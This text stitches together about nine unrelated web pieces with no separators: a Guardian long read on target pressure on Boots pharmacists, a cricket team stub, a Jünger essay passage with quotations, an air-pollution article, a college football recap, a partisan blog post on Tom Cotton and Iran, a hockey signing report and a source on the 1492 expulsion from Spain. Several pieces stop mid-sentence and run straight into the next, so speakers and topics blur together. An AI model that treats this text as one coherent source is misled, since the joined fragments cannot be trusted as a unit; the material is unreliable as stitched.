These forms of outpatient care are a good earner for Boots. Assuming each of its pharmacies churns out 400 MURs a year, that one NHS programme is worth an annual £30m to the company. Stack alongside that the new medicine service (NMS) for patients on heavy-duty drugs, worth at least £25 a time, NHS flu jabs at up to £17 a pop, stop-smoking clinics, and a lot of public money is being sent to private companies to look after our health.
As far back as 2010, the NHS’s own research warned that MURs were being used to cream off public money and could be “of limited benefit and cursory in nature”. In 2013, the Pharmaceutical Journal noted that “some pharmacists face penalties for not meeting the targets, such as no pay rise or a possible loss of a bonus”.
Yet though it has tweaked the criteria for MURs, the cash-strapped NHS has no plans to scrap the system. A few chemists even falsify MURs. Those caught go in front of the regulator, the General Pharmaceutical Council, which publishes its determinations online. Sift through them and a pattern emerges.
From the hearing of a Boots pharmacist in the West Midlands, April 2012: “He said the pressure to meet targets was relentless … Area managers ringing him on a daily basis, asking how many [MURs] he had done and what he was going to do about them … He was told continuously that he was letting the store down …”
A Boots pharmacist in Nottingham, August 2012: “… She had felt under enormous pressure to carry out an unrealistic number of MURs …”
A Boots pharmacist in Cornwall, May 2014: “The only way he benefited personally was in not coming under pressure for failing to fulfil his MUR targets.”
A Boots pharmacist in Stafford, November 2015: “This Committee has experience of otherwise competent and honest pharmacists feeling themselves under pressure to pretend to have completed medicine use reviews …”
On the one hand, you have an NHS looking to move more of its patient care into the private sector. On the other, you have giant chains such as Boots chasing lucrative new business. And in the middle, you have the humble pharmacist, responsible for diagnosing ailments and dispensing medicines – and personally liable for errors. Yet under intense managerial pressure, they are being stripped of their professional discretion – and some feel they are being turned against their own patients.
A Boots pharmacist based in the north-west told me a few of the targets he was set: “MURs, NMS, items [drugs dispensed]... There’s an over-the-counter target for sales, as well … We have a texting service – the patient is texted when their medicine is ready. Then we started getting targeted on how many we signed up to the service and how many we actually text. And if you’re behind on dispensing, because of staff cuts, then people are coming in before their medicines are ready – so you’re not texting them.” He added: “If you miss any target, they want to know to the nth degree why you haven’t done it.”
He joined Boots out of university nearly 30 years ago. Then he had considered it a “family-run professional firm”. And now? “Big Brother, a giant profit-seeking monster.” The gold-plated final-salary pension scheme had been shut, resources cut. “There’s such a culture of fear.”
That fear comes wrapped in the corporate language of empowerment. Targets are “non-negotiable”, and staff who beat them get graded as “legendary”. A chemist advising a customer – “You know, like I’ve done my entire career,” as one Boots lifer puts it – is now having a “Great Conversation”. If the satisfied customer then compliments the chemist that is now a “Feel Good Moment” (although in performance plans they are unfortunately referred to as FGMs – so a chemist must notch up, say, five FGMs a week).
This is pure Apprentice-speak, an attempt to turn pharmacists into estate agents, career pedants with a duty of care into hustlers in labcoats. Tony played the game at first, but struggled to cope as the staff numbers in his section halved. When he complained, the manager classed him a “non-performer” and asked if he would move stores. His pay was frozen and he was subjected to regular performance reviews. (A spokesman from Boots stated: “the health and wellbeing of all our colleagues is, and always has been, a priority for the business.”)
“There are a huge number of very good pharmacists at Boots,” said Bill Scott, the former chief pharmaceutical officer for Scotland. “But if my bonus is dependent on the business targets I’ve been set, you are taking away from me my ability to practice my profession for the patient. And that’s got to be wrong.” And, he remarked, the sheer size of Boots meant that where it went, the other pharmacy chains and independents would follow.
I half-wondered if these were just a handful of malcontents – until I saw a poll that the trade union, the Pharmacists’ Defence Association (PDA) recently conducted of its members. The survey of working conditions, shared exclusively with the Guardian, is the first of its scale and kind the PDA has commissioned – and it says something deeply worrying about the profession Britons rely upon for their medicines.
Open to all chemists in the PDA, whatever chain they worked for, the survey attracted 1,988 responses, of which 624 were from Boots employees – more than one in 10 of all its chemists. The survey suggests that morale across the profession is low, but that Boots pharmacists feel more pressured than those employed by Lloyds, Asda and the rest. Like Tony, many routinely dispense medicines without anyone else checking their work. But their responses to two questions stand out. Asked how often “commercial incentives or targets have compromised the health, safety or wellbeing of patients and the public, or the professional judgment of staff”, more than 60% of Boots pharmacists said that was the case half the time or more. That compares to 52% of chemists at other chains.
Asked “how often do you believe financial cutbacks imposed by your main employer have directly impacted upon patient safety”, 56% of Boots chemists said that was true “around half” or “most” of the time. A further 20% said it was the case “all the time”. Taken together, these numbers outstrip by 10 percentage points their counterparts at other chains, and should cause particular alarm given Boots’s position as Britain’s biggest pharmacy.
Facebook Twitter Pinterest ‘Asked what dangers cuts might pose to patients, the PDA identified overworked chemists giving out either the wrong medicine or the right medicines at the wrong dosages.’ Photograph: Alamy
Three in every four of responding Boots pharmacists believe that the cuts imposed by their employer, whether the drop in staff numbers or increased workloads, threaten patient safety at least half the time or more. In response, Boots points out that it now employs more than 6,000 pharmacists in the UK, up from about 4,500 before the buyout. However, that rise tracks the increase in its number of stores, up from 1,400 in 2005 to around 2,400 today. I asked Boots what had happened to the number of dedicated pharmacy support staff, the dispensers and assistants that Boots chemists reported they were having to do without. The company did not respond.
Asked what dangers these cuts might pose to patients, John Murphy, general secretary of the PDA, identified overworked chemists giving out either the wrong medicine or the right medicines at the wrong dosages. He listed cases of medicine-related fatalities: a woman in a Chesterfield care home given six times her prescribed dose of morphine by a Boots pharmacy; a similar story in Weston-super-Mare; an 86-year-old widower in Felixstowe given the wrong drugs.
Boots rightly pointed out that such cases are very rare, stating that “patient safety is at the heart of what we do … Whenever [such cases] happen our priority is always to the family … and working with the relevant investigators to seek to understand what happened”.
Yet these incidents evidently play on the minds of Boots pharmacists. Below are a few of the many comments from those surveyed:
“All the company cares about is profit, figures, services. They are not interested in patient safety, appropriate staffing levels, training time for staff, appropriate breaks etc. Each day I am worried about making a mistake due to the enormous amount of pressure I am constantly under.”
“Efficiency has a limit, beyond which patient safety is compromised.”
“I am considering changing profession due to these working conditions … I would rather change profession than risk others.”
Boots is part of a dwindling band of high-street chains that bears a family name, rather than one created in some marketing lab. The man who built the firm, Jesse Boot, grew up in the Nottingham of the 1830s, in one of the thousands of back-to-back terraces that housed the city’s lace workers. He inherited a tiny shop. Between 1883 and 1920, he turned it into a chain of more than 660 shops, employing more than 14,000 people. As he got richer, he and his tough-minded wife Florence became more interested in the welfare of their staff and society. Jesse Boot was not content with providing workrooms, records his biographer Stanley Chapman, instead he commissioned “industrial palaces”. Welfare workers were recruited to improve the health of employees. He took staff on day trips and set up sports club after sports club: athletics, football, cricket, boxing, gymnastics …
Facebook Twitter Pinterest An early 20th-century branch of Boots. Photograph: Science & Society Picture Library/Getty Images
Some of these still endure. And to wander around Nottingham University today is to walk on Bootland – literally. Boot donated 35 acres to the campus and built the white-stoned Trent building with its clocktower and Oxbridge-aping quads. He gave Nottingham its first women’s halls of residence and fretted over what kind of wastepaper baskets it would have. Downhill from the campus is a bust of Jesse Boot, facing his company’s sprawling Beeston complex of factories and offices that lie just over University Boulevard. The inscription reads: “Before him lies a monument to his Industry. Behind an everlasting monument to his benevolence.”
Jesse Boot was steeped in a culture that expected much more of its leading businessmen
In 1919, in the first issue of the company newsletter, the Beacon, Boot wrote to his staff: “Fellowship in recreation, fellowship in ideals, common hope, common sympathies, and common humanity bind us together; and whatever fosters this happy union is valuable.”
Today we know to smile at this as paternalism. Yet we have no popular term to describe the worldview of business leaders such as Pessina. A Yiddish joke has it that to a worm in horseradish the whole world is horseradish. When it comes to the culture of modern business, we are that worm.
You hear it when the BBC and the press treat the economy as it were merely a synonym for business – and business as if it were just a synonym for finance. You hear it when the term “entrepreneur” is applied to a carpetbagger with a good PR, or when chief executives defend corporate tax-dodging as being their duty to shareholders.
Jesse Boot reminds us that this was not always so. He would surely have recognised some of himself in Stefano Pessina: the wheeler-dealing, the gusto for marketing, the tireless expansionism. But Boot was steeped in a culture that expected much more of its leading businessmen. The point about Pessina is not that he is uniquely bad, but that he operates in a milieu that asks so little of its capitalists – even when they are reliant on public money.
Five years after taking Alliance Boots private, Pessina and KKR began selling the firm to America’s biggest pharmacy chain, Walgreens – a process that was completed at the end of 2014.
The turnaround that Pessina promised never materialised: Colin Haslam from Queen Mary University points out that by 2014, operating profit margins for Boots UK – a key way of working out how much it actually makes on each pound going through its tills – were stuck at around the levels of 15 years earlier. Meanwhile, the model of stretch and extract – loading Boots with debt, then pulling out as much as possible for investors without reinvesting in the business – “has left its underlying financial structure hollowed out”. Asked about this, Boots replied that it had put money into both the employee pension funds and its chain of stores. Haslam points out that all firms are required to meet their pension-fund obligations.
But there have been some big winners from Boots. By 2012, Pessina was already claiming to have tripled the value of KKR’s investment in the company. He himself has not done too shabbily, either. In 2006, the year he merged his wholesale business with Boots, Forbes magazine ranked Pessina as the 428th richest man in the world. By 2015, he had shot up to 99th place. He has also gained a notably high vantage point in British public life. In 2010, David Cameron and George Osborne – both of whom describe tax avoidance as “morally repugnant” – took Pessina as part of their entourage to China. In the run-up to the general election of 2015, Pessina claimed that a Labour government under Ed Miliband would be a “catastrophe”. This warning from a Monaco citizen, who once said he would never buy a home in Britain “because if I have a home here I have to run it”, was considered grave enough by the Sunday Telegraph to be treated as one of its major stories of the day.
He is now both chief executive of and the single largest shareholder in the all-new entity Walgreens Boots Alliance, which has also shifted headquarters from Switzerland. Its new home, Delaware, is described by Alex Cobham of the Tax Justice Network as “the longstanding leader among US states in providing opaque corporate structures”.
Last year, the new entity announced plans to buy the US chain Rite Aid, a deal that will make it the largest pharmacist either side of the Atlantic – with 73-year-old Pessina at its head.
Just how much Pessina made personally out of Boots is hard to say, as many details are not in the public domain. But going by the public information and assuming that Pessina sunk £1.25bn of his own capital into the 2007 deal, Haslam calculates that he emerged with 214m shares in Walgreen, worth £11.5bn. In seven years he turned that £1.25bn into an estimated net gain of around £10bn. Asked for a response, neither Boots nor Pessina had anything to say on the record.
Driving back to his house, Tony had taken me on a tour of his Midlands hometown. He had pointed out the comprehensive where he was one of only two boys in his year to do A-level biology. Back then, the school churned out pupils as “fodder for the metal bashing industries” – far rarer was the “academic type” like him.
Now Tony saw his workplace as a factory. “It’s a profit factory where we’re doing piecework,” he said. All these decades after university, his working life was suddenly dictated by people who had little respect for his education or his profession. “The standard of education of these managers … some of them can’t even spell prescription; they put ‘quiet’ when they mean quite.”
Tony was raised in Thatcher’s era; he had drunk in her values. “I thought people should work hard, they shouldn’t claim benefits, they should be responsible for their own destiny. That was the politics in the household: that you work hard and get your just rewards.”
For a long time that story rang true: first in the family to head off to university, a profession, a neat house and a car. Then came this job: the cuts, the crack-ups, the half-decade of unhappiness. The old faith had deserted him. “Boots are showing me that you can work hard but you still won’t get your just rewards.”
I looked around his small living room: the messages on the wall reading “If You Believe In Yourself Anything Is Possible” and “Live Every Moment, Laugh Every Day”, the framed pharmacy certificate among all the family photos, the drugs manuals stacked up by the CD rack. That male mingling of personal with professional pride. Tony had a question.
“How can Boots call itself a healthcare company when it’s done this to me?”
• Follow the Long Read on Twitter at @gdnlongread, or sign up to the long read weekly email here.The Barbados Tridents are the representative cricket team of Barbados in the Caribbean Premier League. It was one of the six teams created in 2013 for the inaugural season of the tournament. Hollywood actor Mark Wahlberg has an equity interest in the team since 2013 after he was introduced to the game by his friend Ajmal Khan, the club’s chairman[1] and CPL architect.[2] The Tridents won the 2014 CPL and qualified for the champions league. They were out of the tournament in the group stage managing to win only one of their four matches.
Current squad [ edit ]
As of 08:53, Sunday, February 24, 2019 (UTC)
Results [ edit ]
2013: 3rd
2014: 1st
2015: 2nd
2016: 5th
2017: 5th
2018: 6th
References [ edit ]Every six months, like clockwork, I fly home to the UK for three days for one reason: to pick up my supply of prescription medication.
I consider myself lucky—drugs are cheap there, where a national health service exists that I can partake of as a UK citizen. The very vast |
to be heard in the streets. At no moment may I forget that I am surrounded by the unfortunate, by those suffering to the very depths, else what sort of person, what sort of officer would I be? The uniform obliges one to grant protection wherever it goes. Of course one has the impression that one must also, like Don Quixote, take on millions.”(19)
An entry into Junger’s diary from October 16, 1943 suggests that an unnamed army officer had told Junger about the use of crematoria and poison gas to murder Jews en masse. Rumors of plots against Hitler circulated among the officers with whom Junger maintained contact. His son, Ernstl, was arrested after an informant claimed he had spoken critically of Hitler. Ernstl Junger was imprisoned for three months, then placed in a penal battalion where he was killed in action in Italy. On July 20, 1944 an unsuccessful assassination attempt was carried out against Hitler. It is still disputed as to whether or not Junger knew of the plot or had a role in its planning. Among those arrested for their role in the attemt on Hitler’s life were members of Junger’s immediate circle of associates and superior officers within the German army. Junger was dishonorably discharged shortly afterward.(20)
Following the close of the Second World War, Junger came under suspicion from the Allied occupational authorities because of his far right-wing nationalist and militarist past. He refused to cooperate with the Allies De-Nazification programs and was barred from publishing for four years. He would go on to live another half century, producing many more literary works, becoming a close friend of Albert Hoffman, the inventor of the hallucinogen LSD, with which he experimented. In a 1977 novel, Eumeswil, he took his tendency towards viewing the world around him with detachment to a newer, more clearly articulated level with his invention of the concept of the “Anarch”. This idea, heavily influenced by the writings of the early nineteenth century German philosopher Max Stirner, championed the solitary individual who remains true to himself within the context of whatever external circumstances happen to be present. Some sample quotations from this work illustrate the philosophy and worldview of the elderly Junger quite well:
“For the anarch, if he remains free of being ruled, whether by sovereign or society, this does not mean he refuses to serve in any way. In general, he serves no worse than anyone else, and sometimes even better, if he likes the game. He only holds back from the pledge, the sacrifice, the ultimate devotion … I serve in the Casbah; if, while doing this, I die for the Condor, it would be an accident, perhaps even an obliging gesture, but nothing more.”
“The egalitarian mania of demagogues is even more dangerous than the brutality of men in gallooned coats. For the anarch, this remains theoretical, because he avoids both sides. Anyone who has been oppressed can get back on his feet if the oppression did not cost him his life. A man who has been equalized is physically and morally ruined. Anyone who is different is not equal; that is one of the reasons why the Jews are so often targeted.”
“The anarch, recognizing no government, but not indulging in paradisal dreams as the anarchist does, is, for that very reason, a neutral observer.”
“Opposition is collaboration.”
“A basic theme for the anarch is how man, left to his own devices, can defy superior force – whether state, society or the elements – by making use of their rules without submitting to them.”
“… malcontents… prowl through the institutions eternally dissatisfied, always disappointed. Connected with this is their love of cellars and rooftops, exile and prisons, and also banishment, on which they actually pride themselves. When the structure finally caves in they are the first to be killed in the collapse. Why do they not know that the world remains inalterable in change? Because they never find their way down to its real depth, their own. That is the sole place of essence, safety. And so they do themselves in.”
“The anarch may not be spared prisons – as one fluke of existence among others. He will then find the fault in himself.”
“We are touching one a … distinction between anarch and anarchist; the relation to authority, to legislative power. The anarchist is their mortal enemy, while the anarch refuses to acknowledge them. He seeks neither to gain hold of them, nor to topple them, nor to alter them – their impact bypasses him. He must resign himself only to the whirlwinds they generate.”
“The anarch is no individualist, either. He wishes to present himself neither as a Great Man nor as a Free Spirit. His own measure is enough for him; freedom is not his goal; it is his property. He does not come on as foe or reformer: one can get along nicely with him in shacks or in palaces. Life is too short and too beautiful to sacrifice for ideas, although contamination is not always avoidable. But hats off to the martyrs.”
“We can expect as little from society as from the state. Salvation lies in the individual.” (21)
Notes:
1. Ian Buruma, “The Anarch at Twilight”, New York Review of Books, Volume 40, No. 12, June 24, 1993. Hilary Barr, “An Exchange on Ernst Junger”, New York Review of Books, Volume 40, No. 21, December 16, 1993.
2. Nevin, Thomas. Ernst Junger and Germany: Into the Abyss, 1914-1945. Durham, N.C.: Duke University Press, 1996, pp. 1-7. Loose, Gerhard. Ernst Junger. New York: Twayne Publishers, 1974, preface.
3. Nevin, pp. 9-26. Loose, p. 21
4. Loose, p. 22. Nevin, pp. 27-37.
5. Nevin. p. 49.
6. Ibid., p. 57
7. Ibid., p. 61
8. Maurice Barrès (September 22, 1862 – December 4, 1923) was a French novelist, journalist, an anti-semite, nationalist politician and agitator. Leaning towards the far-left in his youth as a Boulangist deputy, he progressively developed a theory close to Romantic nationalism and shifted to the right during the Dreyfus Affair, leading the Anti-Dreyfusards alongside Charles Maurras. In 1906, he was elected both to the Académie française and as deputy of the Seine department, and until his death he sat with the conservative Entente républicaine démocratique. A strong supporter of the Union sacrée(Holy Union) during World War I, Barrès remained a major influence of generations of French writers, as well as of monarchists, although he was not a monarchist himself. Source: http://en.wikipedia.org/wiki/Maurice_Barr%C3%A8s
9. Nevin, pp. 58, 71, 97.
10. Schilpp, P. A. “The Philosophy of Bertrand Russell”. Reviewed Hermann Weyl, The American Mathematical Monthly, Vol. 53, No. 4 (Apr., 1946), pp. 208-214.
11. Nevin, pp. 122, 125, 134, 136, 140, 173.
12. Ibid., pp. 75-91.
13. Ibid., p. 107.
14. Ibid., p. 108.
15. Ibid., pp. 109-111.
16. Ibid., pp. 114-140.
17. Ibid., p. 145.
18. Ibid., p. 162.
19. Ibid., p. 189.
20. Ibid., p. 209.
21. Junger, Ernst. Eumeswil. New York: Marion Publishers, 1980, 1993.
Bibliography
Barr, Hilary. “An Exchange on Ernst Junger”, New York Review of Books, Volume 40, No. 21, December 16, 1993.
Braun, Abdalbarr. “Warrior, Waldgaenger, Anarch: An Essay on Ernst Junger’s Concept of the Sovereign Individual”. Archived at http://www.fluxeuropa.com/juenger-anarch.htm
Buruma, Ian. “The Anarch at Twilight”, New York Review of Books, Volume 40, No. 12, June 24, 1993.
Hofmann, Albert. LSD: My Problem Child, Chapter Seven, “Radiance From Ernst Junger”. Archived at http://www.flashback.se/archive/my_problem_child/chapter7.html
Loose, Gerhard. Ernst Junger. New York: Twayne Publishers, 1974.
Hervier, Julien. The Details of Time: Conversations with Ernst Junger. New York: Marsilio Publishers, 1986.
Junger, Ernst. Eumeswil. New York: Marsilio Publishers, 1980, 1993.
Junger, Ernst. In Storms of Steel. New York: Penguin Books, 1920, 1963, 2003.
Junger, Ernst. On the Marble Cliffs. New York: Duenewald Printing Corporation, 1947.
Nevin, Thomas. Ernst Junger and Germnay: Into the Abyss, 1914-1945. Durham, N.C.: Duke University Press, 1996.
Schilpp, P. A. “The Philosophy of Bertrand Russell”. Reviewed Hermann Weyl, The American Mathematical Monthly, Vol. 53, No. 4 (Apr., 1946), pp. 208-214.
Stern, J. P. Ernst Junger. New Haven: Yale University Press, 1953.
Zavrel, Consul B. John. “Ernst Junger is Still Working at 102”. Archived at http://www.meaus.com/Ernst%20Junger%20at%20102.html$235 Billion = Annual Cost Of Air Pollution In EU
December 6th, 2014 by Jake Richardson
Air pollution impacts human health, resulting in extra healthcare costs, lost productivity, and fewer work days. Other impacts are reduced crop yields and building damage. Particulate matter and ground-level ozone are two of the main pollutants that come from coal.
90% or more of Europeans living in cities are exposed to harmful air pollution. Bulgaria and Poland have some of the worst pollution of the European countries.
An estimated 400,000 premature deaths in European cities were linked to air pollution in 2011.
London is one of Europe’s most visited cities and yet it also has high levels of harmful air pollutants. Over 3,000 people living there in 2012 probably died from air pollution according to one estimate. Death from heart attacks and strokes can be increased by exposure to air pollution. (4,000 Londoners died in the Great Smog of 1952.)
Europe is a major global tourist destination, so it might be advantageous to that industry if coal-based air pollution is decreased.
An analysis of sustainable tourism in Europe wrote, logically, that improving environmental conditions has many benefits. “Many of these measures help a business to save costs, improve its competitiveness, stimulate the regional economy and improve sustainable development – and to fulfill the guests‘ expectations in this respect. Being able to do this, the business needs clear and reasonable aims, practical instruments and assistance.”
It’s clear that coal must be phased out to reduce harmful air pollution. Countries like Germany and Denmark have recently signaled interest in going coal-free while admitting this is no easy task.
The number of premature deaths due to air pollution is outrageous, but somehow over the years it has become normalized to the point that we don’t respond too much, or simply don’t know what to do. Expanding clean energy sources such as solar and wind is definitely going to be part of the overall solution.
Image Credit: Alfred PalmerCOLUMBUS, OHIO- So close, yet so far. Despite keeping it close for most of the game, Northwestern simply could not get a stop when it needed it most, and No. 6 Ohio State came out on top with the 24-20 victory. With the loss, the Wildcats fall to 4-4 (3-2 B1G) on the season.
Northwestern got the ball first and promptly got to work against the Buckeye defense. Clayton Thorson found Austin Carr on back to back passes for two quick first downs. Thorson completed a third straight pass to Carr, but after review Carr was ruled out of bounds and two plays later the drive stalled and Northwestern punted, pinning Ohio State at their own five.
Despite being deep in their own territory, Ohio State quickly moved the ball down the field. Nine plays and 95 yards later Mike Weber punched it from the one-yard line to open the scoring and put the Buckeyes up 7-0.
After getting the ball back, Clayton Thorson had a pass tipped at the line by linebacker Raekwon McMillan and intercepted by Damon Arnette. The Northwestern defense managed to hold on despite the bad starting field position and held Ohio State to just a field goal. The Buckeyes took a 10-0 lead midway through the first quarter.
With possibility of a blowout seemingly in the balance, the Wildcats responded, led once again by Thorson and the offense. Attacking both on the ground with Justin Jackson and through the air to Austin Carr, the Wildcats methodically marched down the field. The Wildcats finally punched it from the one-yard line to start the second quarter on a quarterback sneak from Thorson. Despite a shaky start to the game, the Wildcats only trailed 10-7 early in the second quarter.
The Buckeyes responded with points once again, though. On one of the more demoralizing drives Northwestern has seen all season, Ohio State went 80 yards in 15 plays and used up 8:28 of game clock to increase its lead to 17-7. The drive was capped off by a 23-yard TD scamper from Mike Weber.
Northwestern once again responded, even after being pinned at its own 12 following a mishandled kickoff return. The Wildcats drove all the way to the Ohio State 6-yard line highlighted by a 35-yard run from Thorson into the redzone. Thorson couldn’t find Carr in the back of the endzone on third down, though, and Northwestern was forced to kick a 23-yard field. Mitchell converted, and Northwestern cut the lead to 17-10 with 1:43 left in the first half.
Following a quick Ohio State three-and-out, Thorson was sacked by Tyquan Lewis and Northwestern was forced to punt it back to the Buckeyes with 43 seconds left in the half. Ohio State went three-and-out once again and Northwestern’s Hail Mary attempt fell short as the Buckeyes went into the half leading 17-10. The Wildcats were outgained by just three, 207 to 204, and hung tough after a slow start.
Coming out of the half, Ohio State started hot with a 23-yard run from Curtis Samuel, but the NU defense stayed strong and forced a punt. Starting from its own six-yard line, Northwestern managed to move the ball to around midfield, but the drive stalled. Ohio State got the ball back, but punted once again and the game appeared to enter a bit of a stalemate.
However, Northwestern would have none of that. Pinned at its own 15, Thorson completed a 30-yard pass to Austin Carr. A few plays later Northwestern was faced with a 4th-and-2 just past midfield and Thorson completed a short pass to freshman Bennett Skowronek for the first down. After another Carr catch and run down to the five, Thorson completed a TD pass to Garrett Dickerson to tie the game up at 17.
The Buckeyes had the ball to start the fourth quarter, but Northwestern’s run defense continued to shut down the Buckeyes and forced yet another punt. Northwestern punted right back after a three-and-out and the stage was set for an incredible finish.
Ohio State threw the first punch as it easily moved the ball down the field and punched it in on a 3-yard run from Curtis Samuel. With a little under 10 minutes to go Northwestern trailed 24-17.
But Northwestern was up to the challenge. The Wildcats drove down the field, converting huge third downs to Justin Jackson and Austin Carr before getting stopped in the redzone and having to settle for a field goal. With 3:31 left in the game, the Wildcats trailed 24-20.
With two timeouts remaining, Northwestern needed a stop, and it got two chances on two third and longs. But J.T. Barrett was able to find Noah Brown for a first on the first third down and the talented QB then had a keeper on 3rd and 8 that went for 35 yards right up the middle to effectively end the game and finally subdue the valiant Wildcat effort.
TakeawaysI wasn’t looking for anything more than a screenshot when I came across Senator Tom Cotton’s (R-Ark.) statement last week (embedded below) before the Senate Banking Committee. But when I heard him speak about Iran’s “…nasty habit with their proxies of killing Jews all around the world.” I made a mental note of the statement and went back later.
The statement was part of a larger argument against the nuclear negotiations with Iran, but what Cotton was establishing in stark terms is that Iran is America’s enemy. The enmity can be seen not only by its words but by its actions too:
“Iran is a radical Islamist theocracy whose constitution calls for jihad and its leaders have honored that constitution for 35 years, killing Americans in 1983, killing Americans in 1996 … having a nasty habit with their proxies of killing Jews all around the world, in Argentina, in Bulgaria, in Israel and most recently, controlling or exerting dominant influence over 5 different capitals in the Middle East, Tehran, Baghdad, Damascus, Beirut, and now, Sanaa…”
I assume this was a summary of the more extended argument Cotton made Friday in an op-ed published in The Wall Street Journal (Google link). After referring to Iran as America’s “negotiating ‘partner'” Cotton wrote:
In 1983 Iran helped finance and direct the bombing of the U.S. Embassy and Marine barracks in Beirut, killing hundreds of American military, diplomatic and intelligence personnel. Iran has also been implicated in the 1996 Khobar Tower bombings, which killed 19 American troops stationed in Saudi Arabia. More recently and personally for me, Iran has been responsible for the killing and maiming of thousands of American troops in Iraq and Afghanistan. During my tour in Baghdad leading an infantry platoon, Iran supplied the most advanced, most lethal roadside bombs used against coalition forces. My soldiers and I knew that Iranian-supplied bombs were the one thing our armored vehicles couldn’t withstand. All we could do was hope it wasn’t our day to hit one. My platoon was lucky; too many others were not. Iran also continues to terrorize the civilized world. It is the worst state sponsor of terrorism on the planet, according to President Obama’s State Department. Iran is a lead financier and arms supplier of Hamas, Hezbollah and Palestinian Islamic Jihad, terrorist organizations dedicated to destroying Israel. Iran and its proxies also have a nasty habit of blowing up Jews around the world, from Argentina to Bulgaria to Israel.
Everything here is correct and much has been in the news in recent years. The fact that it’s personal to Cotton makes the case even more compelling. Later on Cotton gets to his main point:
It is the nature of Iran’s regime to kill Americans, export terror, destabilize the Middle East and foment world-wide Islamic revolution. If Iran commits these crimes against the West now, imagine what Iran would do with a nuclear umbrella.
Examine Cotton’s hard look at the nature of Iran and, compare it to President Obama’s. In 2009, Obama explained on CNN why he would reach out to Iran:
I said during the campaign that Iran is a country that has extraordinary people, extraordinary history and traditions, but that its actions over many years now have been unhelpful when it comes to promoting peace and prosperity both in the region and around the world, that their attacks — or their — their financing of terrorist organizations like Hezbollah and Hamas, the bellicose language that they’ve used towards Israel, their development of a nuclear weapon or their pursuit of a nuclear weapon, that all those things create the possibility of destabilizing the region and are not only contrary to our interests, but I think are contrary to the interests of international peace. … There’s been a lot of mistrust built up over the years, so it’s not going to happen overnight. And it’s important that, even as we engage in this direct diplomacy, we are very clear about certain deep concerns that we have as a country, that Iran understands that we find the funding of terrorist organizations unacceptable, that we’re clear about the fact that a nuclear Iran could set off a nuclear arms race in the region that would be profoundly destabilizing. So there are going to be a set of objectives that we have in these conversations, but I think that there’s the possibility at least of a relationship of mutual respect and progress. … Now it’s time for Iran to send some signals that it wants to act differently, as well, and recognize that, even as it has some rights as a member of the international community, with those rights come responsibilities.
Cotton’s response nearly six years later illustrates that Iran is largely “unhelpful when it comes to promoting peace and prosperity both in the region and around the world.” Obama is unwilling to acknowledge that his premise is wrong. He’s more interested in launching a political war against Prime Minister Netanyahu than asking his new BFFs why their general was on Israel’s northern border.
We have a president who is unwilling to look at the nature of the Iranian regime. Fortunately we also have members of Congress who will challenge the President’s refusal to look at the facts.
I found this 2013 profile of Cotton in the National Journal to be pretty good. I especially liked the anecdote about his letter to the editor of The New York Times. The story of the letter is at PowerLine and makes for great reading.
[Photo: Senator Tom Cotton / YouTube ]Sergei Kostenko during the MHL playoffs. (Credit: UfaHockey.ru)
According to a report by Alexei Estifeyev of Sport-Express, goaltender Sergei Kostenko voided his contract with Metallurg Novokuznetsk by mutual agreement and will sign an entry-level contract with the Capitals in the next few days.
Kostenko, who was drafted 203rd overall in the 2012 draft, spent last year with Metallurg’s affiliate in the Russian junior hockey league, the MHL. His season was disappointing as he was unable to improve his prior season’s numbers or make the KHL team. He ended the year with 2.98 GAA,.897 Sv% and 15 wins in 40 outings (note: games that go to the shootout don’t count as wins or losses for a goaltender in the KHL). He also served on the Russian junior national team that won a silver medal at the 2012 WJC, but he didn’t see any ice time.
Nonetheless, Kostenko made an impression at development camp. After worries that he may not be able to attend due to visa problems, Kostenko managed to show up, turn some heads, and get some good buzz during the camp.
The Russian netminder is likely to spend much of the season with the ECHL’s Reading Royals, possibly battling for a starting gig with free-agent prospect Brandon Anderson. Yesterday, Anderson, an overage CHL player, was traded from the Brandon Wheat Kings to the Everett Silvertips (WHL) and can now choose between pro and junior hockey. As Everett Herald reports:
First off, the deal is Anderson or a fifth-round bantam pick for Maguire. If Anderson plays for Everett, the pick is returned to Brandon. If Anderson plays pro, the Tips get the fifth rounder. [... ] As for Anderson, [Everett GM Garry] Davidson said he had no idea whether he would play professionally next season or be returned to the WHL. As of now Davidson considers the trade to be Maguire for a fifth rounder [emphasis mine]. If Anderson returns to the WHL, it gives Everett some more depth at goaltender, as well as a veteran presence. If not, he still believes in Lotz. Davidson still fully expects Simpson to be a pro. And this means all three of Everett’s overage forwards could still return.
According to the CBA wizard @sk84fun_dc, since Kostenko is considered a 19-year-old for CBA purposes (he’ll turn 20 late in September), if he plays fewer than 10 games with the Caps (which we’d expect) his contract will slide, effectively becoming a four-year-long deal. That is, of course, if CBA rules regarding entry-level slide do not change.
Finally, here’s an overly large picture of Kostenko.
Photo credit: Sport-nk.ru
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The Expulsion from Spain, 1492 CE In the spring of 1492, shortly after the Moors were driven out of Granada, Ferdinand and Isabella of Spain expelled all the Jews from their lands and thus, by a stroke of the pen, put an end to the largest and most distinguished Jewish settlement in Europe. The expulsion of this intelligent, cultured, and industrious class was prompted only in part by the greed of the king and the intensified nationalism of the people who had just brought the crusade against the Muslim Moors to a glorious close. The real motive was the religious zeal of the Church, the Queen, and the masses. The official reason given for driving out the Jews was that they encouraged the Marranos to persist in their Jewishness and thus would not allow them to become good Christians. The following account gives a detailed and accurate picture of the expulsion and its immediate consequences for Spanish Jewry. It was written in Hebrew by an Italian Jew in April or May, 1495. And in the year 5252 [1492], in the days of King Ferdinand, the Lord visited the remnant of his people a second time [the first Spanish visitation was in 1391], and exiled them. After the King had captured the city of Granada from the Moors, and it had surrendered to him on the 7th [2d] of January of the year just mentioned, he ordered the expulsion of all the Jews in all parts of his kingdom-in the kingdoms of Castile, Catalonia, Aragon, Galicia, Majorca, Minorca, the Basque provinces, the islands of Sardinia and Sicily, and the kingdom of Valencia. Even before that the Queen had expelled them from the kingdom of Andalusia [1483] The King gave them three months' time in which to leave. It,vas announced in public in every city on the first of May, which happened to be the 19th day of the Omer, and the term ended on the day before the 9th of Ab. [The forty-nine days between the second of Passover and Shabuot are called Omer days. The actual decree of expulsion was signed March 31 and announced the first of May, the 19th day of the Omer. The Jews were to leave during in May, June, and July and be out of the country by August I, the 8th of Ab.] About their number there is no agreement, but, after many inquiries, I found that the most generally accepted estimate is 50,000 families, or, as others say, 53,000- [This would be about 250,000 persons. Other estimates run from 100,000 to 800,000.] They had houses, fields, vineyards, and cattle, and most of them were artisans. At that time there existed many [Talmudic] academies in Spain, and at the head of the greatest of them were Rabbi Isaac Aboab in Guadalajara [probably the greatest Spanish rabbi of his day], Rabbi Isaac Veçudó in Leon, and Rabbi Jacob 